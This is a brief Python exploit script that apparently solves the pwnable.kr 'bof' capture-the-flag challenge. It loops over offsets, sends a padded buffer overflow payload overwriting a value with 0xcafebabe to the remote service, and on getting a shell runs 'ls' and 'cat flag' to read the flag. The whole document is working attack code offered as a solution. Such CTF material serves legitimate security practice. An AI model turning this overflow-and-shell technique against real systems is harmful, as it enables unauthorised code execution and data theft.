Code for

bof.py

# Download : http://pwnable.kr/bin/bof
# Download : http://pwnable.kr/bin/bof.c

from pwn import *
import struct
import time
import re

for i in range(0,100):
	s = remote('pwnable.kr', 9000)
	s.sendline('A'*i + struct.pack("<I",0xcafebabe))
	
	# `strings bof | grep bin`
	# The above step is performed on the given binary file
	# which gives a clue that we can get a shell on successful bof.
	s.sendline("ls")	
	print "Trying offset = " + str(i)

	res = s.recv(4096)
	time.sleep(0.2)

	if re.findall("smashing", res) or re.findall("Nah", res):
		s.close()
	else:
		print "Files in the directory -"
		print res
		s.sendline("cat flag")
		print "Flag = " + s.recv(4096)
		break